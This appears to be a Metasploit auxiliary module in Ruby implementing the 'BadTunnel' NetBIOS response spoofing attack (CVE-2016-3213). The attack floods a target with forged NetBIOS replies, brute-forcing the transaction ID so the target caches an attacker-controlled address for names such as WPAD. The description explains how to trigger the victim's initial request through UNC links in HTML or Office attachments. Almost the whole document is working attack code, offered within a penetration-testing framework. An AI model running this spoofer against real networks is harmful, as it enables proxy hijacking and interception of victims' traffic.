NetBIOS Response BadTunnel Brute Force Spoof (NAT Tunnel)

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
def initialize  
super(  
'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)',  
'Description' => %q{  
This module listens for a NetBIOS name request and then continuously spams  
NetBIOS responses to a target for given hostname, causing the target to cache  
a malicious address for this name. On high-speed networks, the PPSRATE value  
should be increased to speed up this attack. As an example, a value of around  
30,000 is almost 100% successful when spoofing a response for a 'WPAD' lookup.  
Distant targets may require more time and lower rates for a successful attack.  
  
This module works when the target is behind a NAT gateway, since the stream of  
NetBIOS responses will keep the NAT mapping alive after the initial setup. To  
trigger the initial NetBIOS request to the Metasploit system, force the target  
to access a UNC link pointing to the same address (HTML, Office attachment, etc).  
  
This NAT-piercing issue was named the 'BadTunnel' vulnerability by the discoverer,  
Yu Yang (@tombkeeper). The Microsoft patches (MS16-063/MS16-077) impact the way  
that the proxy host (WPAD) host is identified, but do change the predictability  
of NetBIOS requests.  
  
},  
'Author' => [  
'vvalien', # Metasploit Module (post)  
'hdm', # Metasploit Module  
'tombkeeper' # Vulnerability Discovery  
],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[ 'Service', 'Description' => 'Run listener for NetBIOS requests and respond to them' ]  
],  
'PassiveActions' =>  
[  
'Service'  
],  
'DefaultAction' => 'Service',  
'References' =>  
[  
['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'],  
['CVE', '2016-3213'],  
['MSB', 'MS16-063'],  
['CVE', '2016-3236'],  
['MSB', 'MS16-077']  
],  
'DisclosureDate' => 'Jun 14 2016'  
)  
  
register_options(  
[  
OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]),  
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]),  
OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]),  
OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]),  
OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000])  
])  
end  
  
def netbios_service  
@port = datastore['SRVPORT'].to_i  
  
# MacOS X workaround  
::Socket.do_not_reverse_lookup = true  
  
@sock = ::UDPSocket.new()  
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)  
@sock.bind(datastore['SRVHOST'], @port)  
  
@targ_rate = datastore['PPSRATE']  
@fake_name = datastore['NBNAME']  
@fake_addr = datastore['NBADDR']  
  
print_status("Listening for NetBIOS requests...")  
  
begin  
loop do  
packet, addr = @sock.recvfrom(65535)  
next if packet.length == 0  
  
@targ_addr = addr[3]  
@targ_port = addr[1]  
break  
end  
  
# TODO: Seed our counter based on the TXID of this request  
print_status("Received a NetBIOS request from #{@targ_addr}:#{@targ_port}")  
@sock.connect(@targ_addr, @targ_port)  
  
netbios_spam  
  
rescue ::Interrupt  
raise $!  
rescue ::Exception => e  
print_error("Error #{e.class} #{e} #{e.backtrace}")  
ensure  
@sock.close if @sock  
end  
end  
  
def netbios_spam  
payload =  
"\xff\xff" + # TX ID (will brute force this)  
"\x85\x00" + # Flags = response + authoritative + recursion desired  
"\x00\x00" + # Questions = 0  
"\x00\x01" + # Answer RRs = 1  
"\x00\x00" + # Authority RRs = 0  
"\x00\x00" + # Additional RRs = 0  
"\x20" +  
Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) +  
"\x00" +  
"\x00\x20" + # Type = NB  
"\x00\x01" + # Class = IN  
"\x00\x04\x93\xe0" + # TTL long time  
"\x00\x06" + # Datalength = 6  
"\x00\x00" + # Flags B-node, unique  
Rex::Socket.addr_aton(@fake_addr)  
  
stime = Time.now.to_f  
pcnt = 0  
pps = 0  
  
print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...")  
  
live = true  
while live  
0.upto(65535) do |txid|  
begin  
payload[0,2] = [txid].pack("n")  
@sock.write(payload)  
pcnt += 1  
  
pps = (pcnt / (Time.now.to_f - stime)).to_i  
if pps > @targ_rate  
sleep(0.01)  
end  
rescue Errno::ECONNREFUSED  
print_error("Error: Target sent us an ICMP port unreachable, port is likely closed")  
live = false  
break  
end  
end  
end  
end  
  
def run  
loop { netbios_service }  
end  
end  
`